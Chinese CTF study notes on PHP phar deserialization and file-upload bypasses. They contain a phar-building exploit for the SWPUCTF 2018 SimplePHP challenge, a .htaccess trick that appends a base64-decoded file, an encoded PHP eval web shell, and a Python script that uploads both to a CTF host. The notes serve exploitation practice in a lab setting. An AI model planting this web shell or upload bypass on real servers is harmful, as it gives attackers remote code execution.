phar反序列化
phar文件结构
1.a stub
可以理解为一个标志,格式为xxx,前面内容不限,但必须以__HALT_COMPILER();来结尾,否则phar扩展将无法识别这个文件为phar文件
2.a manifest describing the contents
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方
3.the file contents—被压缩文件的内容
4.[optional] a signature for verifying Phar integrity (phar file format only)—签名,放在文件末尾
生成phar文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php class TestObject { }
@unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $o = new TestObject(); $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>
|
会在同目录生成 phar.phar 文件
注意:要想生成phar文件,必须将phar.readonly配置项配置为0或Off,并且删除行首分号,在行尾加. 否则无法生成phar文件
利用
meta-data是以序列化的形式存储的
php一大部分的文件系统函数在通过phar://
伪协议解析phar文件时,都会将meta-data进行反序列化 ,测试后受影响的函数如下
[SWPUCTF 2018]SimplePHP EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php class C1e4r{ public $test; public $str; } class Show{ public $source; public $str; } class Test{ public $file; public $params; } $c=new Test(); $c->params=array('source'=>'var/www/html/f1ag.php'); $b=new Show(); $b->str['str']=$c; $a=new C1e4r(); $a->str=$b; @unlink("phar.phar"); $phar=new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub('GIF89a'."<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($a); $phar->addFromString("test.txt", "test"); $phar->stopBuffering();
|
要想生成phar文件,必须将php.ini中phar.readonly配置项配置为0或Off,并且删除行首分号,在行尾加.
生成的phar中metada.bin内容为类序列化后的内容
文件上传
绕过<?过滤
.htaccess绕过文件头检查
如果用一般的GIF89a
文件头绕过,会导致htaccess文件无法执行,因此这里用定义高度与宽度,#在htaccess中被视为注释
1 2 3 4
| #define width 1337 #define height 1337 AddType application/x-httpd-php .a php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.a"
|
shell.a内容
1 2
| GIF89a11 PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==
|
文件头后加的内容是为了补足8个字节,满足base64编码规则
文件上传python脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| import requests import time
url = r"http://7c586462-a2f1-4008-a870-9303b30d8fb1.node4.buuoj.cn/?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=get_the_flag" session = requests.session() htaccess_content = ''' #define width 1337 #define height 1337 AddType application/x-httpd-php .a php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.a" ''' files_htaccess = {'file': ( '.htaccess', htaccess_content, 'image/jpeg')} res_hta = session.post(url, files=files_htaccess) print(res_hta.text) shell_file = 'GIF89a12PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTs/Pg==' files_shell = {'file': ( 'shell.a', shell_file, 'image/jpeg')} res_jpg = session.post(url, files=files_shell)
print(res_jpg.text)
|